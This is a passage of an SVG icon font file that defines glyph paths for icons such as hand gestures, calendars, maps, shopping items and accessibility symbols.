d="M481.3 350.9c21.4004 -5.10059 34.7002 -26.7002 29.7002 -48.2002l-36.2998 -152.5c-1.7002 -7.2002 -2.60059 -14.7002 -2.60059 -22.2002v-42c0 -9.2998 -1.39941 -18.4004 -4 -27.2998l-26.1992 -88.2998c-6 -20.4004 -24.7002 -34.4004 -46 -34.4004h-216.7
c-12.2002 0 -24 4.59961 -32.9004 13l-133.7 125.9c-16.0996 15.0996 -16.7998 40.3994 -1.69922 56.5c15.0996 16.0996 40.3994 16.7998 56.5 1.69922l60.5996 -57v79.4004l-39 171.6c-4.90039 21.6006 8.59961 43 30.0996 47.9004
c21.6006 4.90039 43 -8.59961 47.9004 -30.0996l34.7998 -152.801h9.7998l-47.5996 207c-5 21.5 8.5 43 30 47.9004c21.5996 4.90039 43 -8.5 48 -30.0996l51.7002 -224.9h15.0996l48.4004 193.7c5.39941 21.3994 27.0996 34.5 48.5 29.0996
c21.3994 -5.39941 34.5 -27.0996 29.0996 -48.5l-43.5996 -174.3h11.0996l30.7998 129.3c5.10059 21.4004 26.7002 34.7002 48.2002 29.6006z" />
    <glyph glyph-name="hand-pointer" unicode="&#xf25a;" horiz-adv-x="448" 
d="M448 208v-96c0 -3.08398 -0.356445 -6.15918 -1.06348 -9.16211l-32 -136c-4.25098 -18.0684 -20.375 -30.8379 -38.9365 -30.8379h-208c-11.2432 0 -25.7363 7.37988 -32.3496 16.4727l-127.997 176c-12.9932 17.8662 -9.04297 42.8838 8.82129 55.876
c17.8672 12.9941 42.8848 9.04297 55.877 -8.82227l31.6484 -43.5186v275.992c0 22.0908 17.9082 40 40 40s40 -17.9092 40 -40v-200h8v40c0 22.0908 17.9082 40 40 40s40 -17.9092 40 -40v-40h8v24c0 22.0908 17.9082 40 40 40s40 -17.9092 40 -40v-24h8
c0 22.0908 17.9082 40 40 40s40 -17.9092 40 -40zM192 128h-8v-96h8v96zM280 128h-8v-96h8v96zM368 128h-8v-96h8v96z" />
    <glyph glyph-name="hand-peace" unicode="&#xf25b;" horiz-adv-x="448" 
d="M408 232c22.0918 0 40 -17.9092 40 -40v-80v-0.00488281c0 -2.56152 -0.476562 -6.66406 -1.06348 -9.15723l-32 -136c-4.25098 -18.0684 -20.375 -30.8379 -38.9365 -30.8379h-240h-0.000976562c-12.8125 0 -28.3711 9.0293 -34.7275 20.1543l-64 112
c-9.77441 17.1025 -5.64062 38.7744 9.74023 51.0811l31.0898 24.8721l-74.7646 190.342c-9.69336 24.6738 2.4502 52.5342 27.124 62.2266c24.6729 9.69434 52.5332 -2.4502 62.2275 -27.125l69.7393 -177.551h13.5723v208c0 26.5098 21.4902 48 48 48s48 -21.4902 48 -48
v-208h8v32c0 22.0908 17.9082 40 40 40s40 -17.9092 40 -40v-32h8c0 22.0908 17.9082 40 40 40z" />
    <glyph glyph-name="trademark" unicode="&#xf25c;" horiz-adv-x="640" 
d="M260.6 352c6.60059 0 12 -5.40039 11.9004 -12v-43.0996c0 -6.60059 -5.40039 -12 -12 -12h-85.0996v-240.9c0 -6.59961 -5.40039 -12 -12 -12h-54.3008c-6.59961 0 -12 5.40039 -12 12v240.9h-85.0996c-6.59961 0 -12 5.39941 -12 12v43.0996
c0 6.59961 5.40039 12 12 12h248.6zM640 45c0.5 -7 -5 -13 -12 -13h-53.9004c-6.2998 0 -11.5996 4.90039 -12 11.2002l-9.09961 132.899c-1.7998 24.2002 0 53.7002 0 53.7002h-0.900391s-10.6992 -33.5996 -17.8994 -53.7002l-30.7002 -84.6992
c-1.7002 -4.7002 -6.2002 -7.90039 -11.2998 -7.90039h-50.2998c-5.10059 0 -9.60059 3.2002 -11.3008 7.90039l-30.6992 84.6992c-7.2002 20.1006 -17.9004 53.7002 -17.9004 53.7002h-0.900391s1.80078 -29.5 0 -53.7002l-9.09961 -132.899
c-0.5 -6.2998 -5.7002 -11.2002 -12 -11.2002h-54.5c-7.09961 0 -12.5996 6 -12 13l24.4004 296c0.599609 6.2002 5.7998 11 12 11h65.3994c5.10059 0 9.60059 -3.2998 11.2998 -8.09961l43.8008 -127.101c7.19922 -20.5996 16.0996 -52.7998 16.0996 -52.7998h0.900391
s8.89941 32.2002 16.0996 52.7998l43.7998 127.101c1.60059 4.7998 6.2002 8.09961 11.2998 8.09961h65.4004c6.2998 0 11.5 -4.7998 12 -11z" />
    <glyph glyph-name="registered" unicode="&#xf25d;" 
d="M285.363 240.525c0 -18.6006 -9.83105 -28.4316 -28.4316 -28.4316h-29.876v56.1406h23.3779c28.668 0 34.9297 -8.77344 34.9297 -27.709zM504 192c0 -136.967 -111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248s248 -111.033 248 -248z
M363.411 87.5859c-46.7295 84.8252 -43.2988 78.6357 -44.7021 80.9805c23.4316 15.1719 37.9453 42.9785 37.9453 74.4854c0 54.2441 -31.5 89.252 -105.498 89.252h-70.667c-13.2549 0 -24 -10.7451 -24 -24v-232.304c0 -13.2549 10.7451 -24 24 -24h22.5664
c13.2549 0 24 10.7451 24 24v71.6631h25.5566l44.1289 -82.9375c3.73828 -7.02441 13.2305 -12.7266 21.1875 -12.7266h24.4639c18.2617 0.000976562 29.8291 19.5908 21.0186 35.5869z" />
    <glyph glyph-name="tv" unicode="&#xf26c;" horiz-adv-x="640" 
d="M592 448c26.4961 0 48 -21.5039 48 -48v-320c0 -26.4961 -21.5039 -48 -48 -48h-240v-32h176c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-416c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h176v32h-240
c-26.4961 0 -48 21.5039 -48 48v320c0 26.4961 21.5039 48 48 48h544zM576 96v288h-512v-288h512z" />
    <glyph glyph-name="calendar-plus" unicode="&#xf271;" horiz-adv-x="448" 
d="M436 288h-424c-6.59961 0 -12 5.40039 -12 12v36c0 26.5 21.5 48 48 48h48v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h128v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h48c26.5 0 48 -21.5 48 -48v-36
c0 -6.59961 -5.40039 -12 -12 -12zM12 256h424c6.59961 0 12 -5.40039 12 -12v-260c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v260c0 6.59961 5.40039 12 12 12zM328 116c0 6.59961 -5.40039 12 -12 12h-60v60c0 6.59961 -5.40039 12 -12 12h-40
c-6.59961 0 -12 -5.40039 -12 -12v-60h-60c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h60v-60c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12v60h60c6.59961 0 12 5.40039 12 12v40z" />
    <glyph glyph-name="calendar-minus" unicode="&#xf272;" horiz-adv-x="448" 
d="M436 288h-424c-6.59961 0 -12 5.40039 -12 12v36c0 26.5 21.5 48 48 48h48v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h128v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h48c26.5 0 48 -21.5 48 -48v-36
c0 -6.59961 -5.40039 -12 -12 -12zM12 256h424c6.59961 0 12 -5.40039 12 -12v-260c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v260c0 6.59961 5.40039 12 12 12zM316 64c6.59961 0 12 5.40039 12 12v40c0 6.59961 -5.40039 12 -12 12h-184
c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h184z" />
    <glyph glyph-name="calendar-times" unicode="&#xf273;" horiz-adv-x="448" 
d="M436 288h-424c-6.59961 0 -12 5.40039 -12 12v36c0 26.5 21.5 48 48 48h48v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h128v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h48c26.5 0 48 -21.5 48 -48v-36
c0 -6.59961 -5.40039 -12 -12 -12zM12 256h424c6.59961 0 12 -5.40039 12 -12v-260c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v260c0 6.59961 5.40039 12 12 12zM269.3 96l48.1006 48.0996c4.69922 4.7002 4.69922 12.3008 0 17l-28.3008 28.3008
c-4.69922 4.69922 -12.2998 4.69922 -17 0l-48.0996 -48.1006l-48.0996 48.1006c-4.7002 4.69922 -12.3008 4.69922 -17 0l-28.3008 -28.3008c-4.69922 -4.69922 -4.69922 -12.2998 0 -17l48.1006 -48.0996l-48.1006 -48.0996c-4.69922 -4.7002 -4.69922 -12.3008 0 -17
l28.3008 -28.3008c4.69922 -4.69922 12.2998 -4.69922 17 0l48.0996 48.1006l48.0996 -48.1006c4.7002 -4.69922 12.3008 -4.69922 17 0l28.3008 28.3008c4.69922 4.69922 4.69922 12.2998 0 17z" />
    <glyph glyph-name="calendar-check" unicode="&#xf274;" horiz-adv-x="448" 
d="M436 288h-424c-6.62695 0 -12 5.37305 -12 12v36c0 26.5098 21.4902 48 48 48h48v52c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-52h128v52c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-52h48c26.5098 0 48 -21.4902 48 -48v-36
c0 -6.62695 -5.37305 -12 -12 -12zM12 256h424c6.62695 0 12 -5.37305 12 -12v-260c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v260c0 6.62695 5.37305 12 12 12zM345.296 160.053l-28.1689 28.3984
c-4.66699 4.70508 -12.2646 4.73535 -16.9697 0.0673828l-106.037 -105.184l-45.9805 46.3516c-4.66699 4.70508 -12.2656 4.73633 -16.9707 0.0683594l-28.3965 -28.1699c-4.70508 -4.66699 -4.73633 -12.2646 -0.0683594 -16.9697l82.6006 -83.2695
c4.66699 -4.70508 12.2656 -4.73535 16.9707 -0.0673828l142.952 141.805c4.70508 4.66699 4.73633 12.2646 0.0683594 16.9697z" />
    <glyph glyph-name="industry" unicode="&#xf275;" 
d="M475.115 284.219c15.9541 10.1514 36.8848 -1.33105 36.8848 -20.248v-271.971c0 -13.2549 -10.7451 -24 -24 -24h-464c-13.2549 0 -24 10.7451 -24 24v400c0 13.2549 10.7451 24 24 24h112c13.2549 0 24 -10.7451 24 -24v-196.309l139.115 88.5273
c15.9541 10.1514 36.8848 -1.33203 36.8848 -20.248v-68.2793z" />
    <glyph glyph-name="map-pin" unicode="&#xf276;" horiz-adv-x="288" 
d="M112 131.06c10.3896 -1.91992 21.0596 -3.05957 32 -3.05957s21.6104 1.13965 32 3.05957v-156.689l-22.0098 -33.0205c-4.75 -7.11914 -15.2207 -7.11914 -19.9707 0l-22.0195 33.0205v156.689zM144 448c79.5303 0 144 -64.4697 144 -144s-64.4697 -144 -144 -144
s-144 64.4697 -144 144s64.4697 144 144 144zM144 372c6.62012 0 12 5.37988 12 12s-5.37988 12 -12 12c-50.7197 0 -92 -41.2695 -92 -92c0 -6.62012 5.37988 -12 12 -12s12 5.37988 12 12c0 37.5 30.5 68 68 68z" />
    <glyph glyph-name="map-signs" unicode="&#xf277;" 
d="M507.31 363.31c6.25 -6.25 6.25 -16.3691 0 -22.6299l-43.3096 -43.3096c-6.00977 -6 -14.1396 -9.37012 -22.6299 -9.37012h-385.37c-13.25 0 -24 10.75 -24 24v80c0 13.25 10.75 24 24 24h168v16c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-16
h153.37c8.49023 0 16.6299 -3.37012 22.6299 -9.37012zM224 -48v112h64v-112c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16zM456 224c13.25 0 24 -10.75 24 -24v-80c0 -13.25 -10.75 -24 -24 -24h-385.37
c-8.49023 0 -16.6299 3.37012 -22.6299 9.37012l-43.3096 43.3096c-6.25 6.25 -6.25 16.3799 0 22.6299l43.3096 43.3203c6.00977 6 14.1396 9.37012 22.6299 9.37012h153.37v32h64v-32h168z" />
    <glyph glyph-name="map" unicode="&#xf279;" horiz-adv-x="576" 
d="M0 330.34c0.00292969 11.959 9.0166 25.2686 20.1201 29.71l139.88 55.9502v-384l-138.06 -62.8398c-10.5107 -4.2002 -21.9404 3.54004 -21.9404 14.8594v346.32zM192 32v384l192 -64v-384zM554.06 414.84c10.5107 4.2002 21.9404 -3.54004 21.9404 -14.8594v-346.32
c0 -11.9609 -9.01367 -25.2705 -20.1201 -29.71l-139.88 -55.9502v384z" />
    <glyph glyph-name="comment-alt" unicode="&#xf27a;" 
d="M448 448c35.2998 0 64 -28.7002 64 -64v-288c0 -35.2998 -28.7002 -64 -64 -64h-144l-124.9 -93.7002c-7.89941 -5.7998 -19.0996 -0.0996094 -19.0996 9.7002v84h-96c-35.2998 0 -64 28.7002 -64 64v288c0 35.2998 28.7002 64 64 64h384z" />
    <glyph glyph-name="pause-circle" unicode="&#xf28b;" 
d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM240 112v160c0 8.7998 -7.2002 16 -16 16h-48c-8.7998 0 -16 -7.2002 -16 -16v-160c0 -8.7998 7.2002 -16 16 -16h48c8.7998 0 16 7.2002 16 16zM352 112v160
c0 8.7998 -7.2002 16 -16 16h-48c-8.7998 0 -16 -7.2002 -16 -16v-160c0 -8.7998 7.2002 -16 16 -16h48c8.7998 0 16 7.2002 16 16z" />
    <glyph glyph-name="stop-circle" unicode="&#xf28d;" 
d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM352 112v160c0 8.7998 -7.2002 16 -16 16h-160c-8.7998 0 -16 -7.2002 -16 -16v-160c0 -8.7998 7.2002 -16 16 -16h160c8.7998 0 16 7.2002 16 16z" />
    <glyph glyph-name="shopping-bag" unicode="&#xf290;" horiz-adv-x="448" 
d="M352 288h96v-272c0 -44.1826 -35.8174 -80 -80 -80h-288c-44.1826 0 -80 35.8174 -80 80v272h96v32c0 70.5801 57.4199 128 128 128c70.5791 0 128 -57.4199 128 -128v-32zM160 320v-32h128v32c0 35.29 -28.71 64 -64 64s-64 -28.71 -64 -64zM320 200
c13.2549 0 24 10.7451 24 24s-10.7451 24 -24 24s-24 -10.7451 -24 -24s10.7451 -24 24 -24zM128 200c13.2549 0 24 10.7451 24 24s-10.7451 24 -24 24s-24 -10.7451 -24 -24s10.7451 -24 24 -24z" />
    <glyph glyph-name="shopping-basket" unicode="&#xf291;" horiz-adv-x="576" 
d="M576 232v-16c0 -13.2549 -10.7451 -24 -24 -24h-8l-26.1133 -182.788c-3.37793 -23.6465 -23.6299 -41.2119 -47.5166 -41.2119h-364.74c-23.8867 0 -44.1387 17.5654 -47.5176 41.2119l-26.1123 182.788h-8c-13.2549 0 -24 10.7451 -24 24v16
c0 13.2549 10.7451 24 24 24h67.3408l106.78 146.821c10.3945 14.292 30.4072 17.4531 44.7012 7.05762c14.293 -10.3945 17.4531 -30.4082 7.05762 -44.7012l-79.4033 -109.178h235.047l-79.4033 109.179c-10.3955 14.292 -7.23438 34.3066 7.05859 44.7012
c14.291 10.3955 34.3066 7.23535 44.7012 -7.05762l106.779 -146.822h67.3408c13.2549 0 24 -10.7451 24 -24zM312 56v112c0 13.2549 -10.7451 24 -24 24s-24 -10.7451 -24 -24v-112c0 -13.2549 10.7451 -24 24 -24s24 10.7451 24 24zM424 56v112
c0 13.2549 -10.7451 24 -24 24s-24 -10.7451 -24 -24v-112c0 -13.2549 10.7451 -24 24 -24s24 10.7451 24 24zM200 56v112c0 13.2549 -10.7451 24 -24 24s-24 -10.7451 -24 -24v-112c0 -13.2549 10.7451 -24 24 -24s24 10.7451 24 24z" />
    <glyph glyph-name="hashtag" unicode="&#xf292;" horiz-adv-x="448" 
d="M440.667 265.891c-0.974609 -5.45898 -6.2666 -9.89062 -11.8135 -9.89062h-79.0957l-22.8564 -128h74.8096c7.4707 0 13.126 -6.75391 11.8135 -14.1094l-7.14355 -40c-0.974609 -5.45898 -6.2666 -9.89062 -11.8125 -9.89062h-79.0967l-15.377 -86.1094
c-0.974609 -5.45898 -6.2666 -9.89062 -11.8125 -9.89062h-40.6318c-7.47266 0 -13.127 6.75391 -11.8135 14.1094l14.623 81.8906h-98.6338l-15.3779 -86.1094c-0.974609 -5.45898 -6.26758 -9.89062 -11.8135 -9.89062h-40.6318
c-7.4707 0 -13.126 6.75391 -11.8125 14.1094l14.623 81.8906h-74.8105c-7.4707 0 -13.126 6.75391 -11.8125 14.1094l7.14258 40c0.974609 5.45898 6.2666 9.89062 11.8135 9.89062h79.0957l22.8564 128h-74.8096c-7.4707 0 -13.126 6.75391 -11.8135 14.1094l7.14355 40
c0.974609 5.45898 6.2666 9.89062 11.8125 9.89062h79.0967l15.377 86.1094c0.974609 5.45898 6.2666 9.89062 11.8125 9.89062h40.6318c7.47266 0 13.127 -6.75391 11.8135 -14.1094l-14.623 -81.8906h98.6348l15.377 86.1094
c0.974609 5.45898 6.26758 9.89062 11.8135 9.89062h40.6318c7.4707 0 13.126 -6.75391 11.8125 -14.1094l-14.623 -81.8906h74.8105c7.4707 0 13.126 -6.75391 11.8125 -14.1094zM261.889 128l22.8574 128h-98.6338l-22.8574 -128h98.6338z" />
    <glyph glyph-name="percent" unicode="&#xf295;" horiz-adv-x="448" 
d="M112 224c-61.9004 0 -112 50.0996 -112 112s50.0996 112 112 112s112 -50.0996 112 -112s-50.0996 -112 -112 -112zM112 384c-26.5 0 -48 -21.5 -48 -48s21.5 -48 48 -48s48 21.5 48 48s-21.5 48 -48 48zM336 160c61.9004 0 112 -50.0996 112 -112
s-50.0996 -112 -112 -112s-112 50.0996 -112 112s50.0996 112 112 112zM336 0c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48zM392.3 447.8l31.6006 0.100586c19.3994 0.0996094 30.8994 -21.8008 19.6992 -37.8008l-366.199 -463.699
c-3.94629 -5.62793 -12.7275 -10.1973 -19.6006 -10.2002l-33.3994 -0.100586c-19.5 0 -30.9004 21.9004 -19.7002 37.8008l368 463.699c4.5 6.40039 11.7998 10.2002 19.5996 10.2002z" />
    <glyph glyph-name="universal-access" unicode="&#xf29a;" 
d="M256 400c-114.971 0 -208 -93.0469 -208 -208c0 -114.971 93.0469 -208 208 -208c114.971 0 208 93.0469 208 208c0 114.971 -93.0469 208 -208 208zM256 440c136.967 0 248 -111.033 248 -248s-111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248z
M256 384c106.039 0 192 -85.9609 192 -192s-85.9609 -192 -192 -192s-192 85.9609 -192 192s85.9609 192 192 192zM256 340c-19.8818 0 -36 -16.1182 -36 -36s16.1182 -36 36 -36s36 16.1182 36 36s-16.1182 36 -36 36zM373.741 241.977
c8.59961 2.03027 13.9258 10.6484 11.8965 19.249c-2.03027 8.60156 -10.6494 13.9258 -19.249 11.8955c-96.4912 -22.7832 -124.089 -22.8291 -220.774 0c-8.60254 2.03125 -17.2178 -3.29395 -19.249 -11.8955c-2.03125 -8.60059 3.29492 -17.2178 11.8945 -19.249
c28.7129 -6.7793 55.5127 -12.749 82.1416 -15.8066c-0.852539 -101.08 -12.3242 -123.08 -25.0371 -155.621c-3.61719 -9.25879 0.957031 -19.6982 10.2168 -23.3145c9.26465 -3.61914 19.7002 0.961914 23.3154 10.2168c8.72754 22.3408 17.0947 40.6982 22.2617 78.5488
h9.68555c5.1748 -37.9131 13.5566 -56.2412 22.2617 -78.5488c3.61621 -9.25977 14.0547 -13.834 23.3154 -10.2168c9.25977 3.61621 13.834 14.0547 10.2168 23.3145c-12.7305 32.5693 -24.1855 54.5986 -25.0371 155.621c26.6299 3.05859 53.4287 9.02832 82.1406 15.8066
z" />
    <glyph glyph-name="blind" unicode="&#xf29d;" horiz-adv-x="384" 
d="M380.15 -62.8369c-1.05664 -0.640625 -2.91602 -1.16113 -4.15137 -1.16113c-2.48438 0 -5.54785 1.72363 -6.83789 3.84766l-125.33 206.428c4.25684 1.68848 10.0615 5.9375 12.958 9.48438l126.048 -207.607c0.641602 -1.05664 1.16211 -2.91699 1.16211 -4.15234
c0 -2.48535 -1.72461 -5.5498 -3.84863 -6.83887zM142.803 133.662l62.8145 -153.537c6.69141 -16.3584 -1.14453 -35.042 -17.501 -41.7344c-16.3564 -6.69043 -35.04 1.1416 -41.7334 17.501l-36.1201 88.2852zM96 360c-24.3008 0 -44 19.6992 -44 44s19.6992 44 44 44
s44 -19.6992 44 -44s-19.6992 -44 -44 -44zM250.837 190.872c8.19336 -10.374 6.44434 -25.4922 -3.96582 -33.708c-9.33984 -7.37402 -24.5635 -7.61914 -33.708 3.96484l-102.3 129.217c-0.663086 0.836914 -2.06738 1.51562 -3.13477 1.51562
c-2.20801 0 -4 -1.79297 -4 -4.00098c0 -0.769531 0.387695 -1.88281 0.865234 -2.48535l31.4062 -39.8164v-107.196l-65.9258 -181.288c-6.04102 -16.6143 -24.4072 -25.1768 -41.0088 -19.1387c-16.6104 6.04004 -25.1787 24.4004 -19.1387 41.0098l54.0732 148.693
v140.698l-16 -20.5713v-79.7656c0 -13.0996 -10.4951 -23.748 -23.5361 -23.9961c-13.4531 -0.254883 -24.4639 11.0811 -24.4639 24.5361v95.6943l61.0557 78.5c4.72754 6.0791 11.7979 9.23633 18.9443 9.23926v0.0263672h32v-0.015625
c7.08691 -0.00390625 14.1035 -3.11719 18.8369 -9.1123z" />
    <glyph glyph-name="audio-description" unicode="&#xf29e;" 
d="M162.925 209.291l8.82227 -30.6553h-25.6064l9.04102 30.6523c1.27734 4.4209 2.65137 9.99414 3.87207 15.2451c1.2207 -5.25098 2.59473 -10.8232 3.87109 -15.2422zM329.399 241.39c28.6846 0 46.1748 -16.7656 46.1748 -49.0049
c0 -32.0977 -16.3994 -49.7754 -46.1748 -49.7754h-14.5234v98.7803h14.5234zM512 336v-288c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h416c26.5098 0 48 -21.4902 48 -48zM245.459 111.861l-57.0967 168
c-1.52734 4.49219 -6.61719 8.13867 -11.3623 8.13867h-35.8936c-4.74512 0 -9.83594 -3.64648 -11.3623 -8.13867l-57.0967 -168c-2.64453 -7.7832 3.1416 -15.8613 11.3613 -15.8613h29.1328c4.99219 0 10.1602 3.89453 11.5352 8.69336l8.57422 29.9053h51.3672
l8.79297 -29.9766c1.39648 -4.75977 6.55469 -8.62207 11.5146 -8.62207v0h29.1719c8.2207 0 14.0059 8.07812 11.3613 15.8613zM430.16 192.386c0 58.9775 -37.9189 95.6143 -98.96 95.6143h-57.3662c-6.62695 0 -12 -5.37305 -12 -12v-168c0 -6.62695 5.37305 -12 12 -12
h57.3662c61.041 0 98.96 36.9326 98.96 96.3857z" />
    <glyph glyph-name="phone-volume" unicode="&#xf2a0;" horiz-adv-x="384" 
d="M97.333 -58.9658c-129.874 129.874 -129.681 340.252 0 469.933c5.69824 5.69824 14.5273 6.63184 21.2627 2.42188l64.8174 -40.5127c4.45898 -2.78711 8.07812 -9.31641 8.07812 -14.5752c0 -1.82715 -0.550781 -4.68652 -1.22949 -6.38281l-32.4082 -81.0205
c-2.38477 -5.96484 -9.53418 -10.8047 -15.958 -10.8047c-0.473633 0 -1.23926 0.0380859 -1.71094 0.0849609l-55.8096 5.58008c-21.0508 -58.2607 -20.6123 -122.471 0 -179.515l55.8105 5.58105c0.47168 0.046875 1.2373 0.0849609 1.71094 0.0849609
c6.42383 0 13.5732 -4.83984 15.959 -10.8037l32.4072 -81.0225c0.678711 -1.69629 1.22949 -4.55566 1.22949 -6.38281c0 -5.25879 -3.61914 -11.7881 -8.07812 -14.5752l-64.8174 -40.5127c-2.30762 -1.44238 -6.38867 -2.6123 -9.10938 -2.6123
c-3.92969 0 -9.375 2.25488 -12.1543 5.03418zM247.126 352.527c11.832 -20.0469 11.832 -45.0088 0 -65.0557c-3.9502 -6.69238 -13.1084 -7.95898 -18.7178 -2.58105l-5.97559 5.72656c-3.91016 3.74805 -4.79297 9.62207 -2.26074 14.4102
c2.04883 3.87793 3.71094 10.5859 3.71094 14.9717c0 4.38672 -1.66211 11.0947 -3.71094 14.9727c-2.5332 4.78809 -1.64941 10.6621 2.26074 14.4102l5.97559 5.72656c5.60938 5.37793 14.7676 4.11133 18.7178 -2.58105zM338.913 443.714
c60.1396 -71.6035 60.0918 -175.882 0 -247.428c-4.47363 -5.32715 -12.5303 -5.74609 -17.5518 -0.933594l-5.79785 5.55762c-4.56055 4.37109 -4.97754 11.5293 -0.930664 16.3789c49.6875 59.5381 49.6465 145.933 0 205.422
c-4.04688 4.84961 -3.63086 12.0078 0.930664 16.3789l5.79785 5.55762c5.02148 4.8125 13.0781 4.39355 17.5518 -0.933594zM292.941 398.773c36.0498 -46.3223 36.1074 -111.149 0 -157.547c-4.39062 -5.64062 -12.6973 -6.25098 -17.8564 -1.30371l-5.81836 5.5791
c-4.39941 4.21875 -4.99805 11.0947 -1.28418 15.9307c26.5352 34.5645 26.5332 82.5723 0 117.135c-3.71387 4.83594 -3.11523 11.7109 1.28418 15.9307l5.81836 5.5791c5.15918 4.94727 13.4658 4.33691 17.8564 -1.30371z" />
    <glyph glyph-name="braille" unicode="&#xf2a1;" horiz-adv-x="640" 
d="M128 192c0 -35.3457 -28.6543 -64 -64 -64s-64 28.6543 -64 64s28.6543 64 64 64s64 -28.6543 64 -64zM64 64c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32zM64 416c35.3457 0 64 -28.6543 64 -64s-28.6543 -64 -64 -64
s-64 28.6543 -64 64s28.6543 64 64 64zM224 224c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32zM224 64c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32zM224 416
c35.3457 0 64 -28.6543 64 -64s-28.6543 -64 -64 -64s-64 28.6543 -64 64s28.6543 64 64 64zM448 224c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32zM448 64c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32
s-32 14.3271 -32 32s14.3271 32 32 32zM448 416c35.3457 0 64 -28.6543 64 -64s-28.6543 -64 -64 -64s-64 28.6543 -64 64s28.6543 64 64 64zM608 224c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32zM608 64
c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32zM608 384c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32z" />
    <glyph glyph-name="assistive-listening-systems" unicode="&#xf2a2;" 
d="M216 188c0 -15.4639 -12.5361 -28 -28 -28s-28 12.5361 -28 28c0 44.1123 35.8877 80 80 80s80 -35.8877 80 -80c0 -15.4639 -12.5361 -28 -28 -28s-28 12.5361 -28 28c0 13.2344 -10.7666 24 -24 24s-24 -10.7656 -24 -24zM240 364c97.0469 0 176 -78.9531 176 -176
c0 -95.9863 -71.4053 -109.798 -72 -144.226c-0.124023 -59.4463 -48.5254 -107.774 -108 -107.774c-15.4639 0 -28 12.5361 -28 28s12.5361 28 28 28c28.6729 0 52 23.3271 52 52l0.00292969 0.37793c0.988281 73.3115 71.9971 68.458 71.9971 143.622
c0 66.168 -53.832 120 -120 120s-120 -53.832 -120 -120c0 -15.4639 -12.5361 -28 -28 -28s-28 12.5361 -28 28c0 97.0469 78.9531 176 176 176zM160 128c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32zM32 0
c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32zM512 187.993c0 -15.4639 -12.5371 -28 -28.001 -28s-28 12.5361 -28 28c0 1.12695 -0.00683594 2.24512 -0.0332031 3.36328l-0.00292969 0.1875
c-1.4668 91.4404 -60.1709 172.599 -146.077 201.953c-14.6318 5.00098 -22.4414 20.917 -17.4414 35.5498c5.00098 14.6328 20.917 22.4404 35.5498 17.4424c108.163 -36.959 182.082 -139.015 183.961 -253.965c0.0332031 -1.50684 0.0449219 -3.01367 0.0449219 -4.53125
zM152.971 8.9707l-33.9404 -33.9404l-80 80l33.9404 33.9404z" />
    <glyph glyph-name="american-sign-language-interpreting" unicode="&#xf2a3;" horiz-adv-x="640" 
d="M290.547 258.961c-20.2949 10.1494 -44.1465 11.1992 -64.7393 3.88965c42.6064 0 71.208 -20.4746 85.5781 -50.5752c8.57617 -17.8994 -5.14746 -38.0713 -23.6172 -38.0713c18.4297 0 32.2119 -20.1357 23.6172 -38.0713
c-14.7246 -30.8457 -46.123 -50.8535 -80.2979 -50.8535c-0.556641 0 -94.4707 8.61426 -94.4707 8.61426l-66.4062 -33.3467c-9.38379 -4.69336 -19.8145 -0.378906 -23.8945 7.78125l-44.4561 88.9248c-4.16699 8.61523 -1.11133 18.8975 6.94531 23.6211l58.0723 33.0693
l41.1221 74.1953c6.38965 57.2451 34.7314 109.768 79.7432 146.727c11.3906 9.44824 28.3408 7.78125 37.5098 -3.61328c9.44629 -11.3936 7.78027 -28.0674 -3.6123 -37.5156c-12.5029 -10.5596 -23.6172 -22.5098 -32.5088 -35.5703
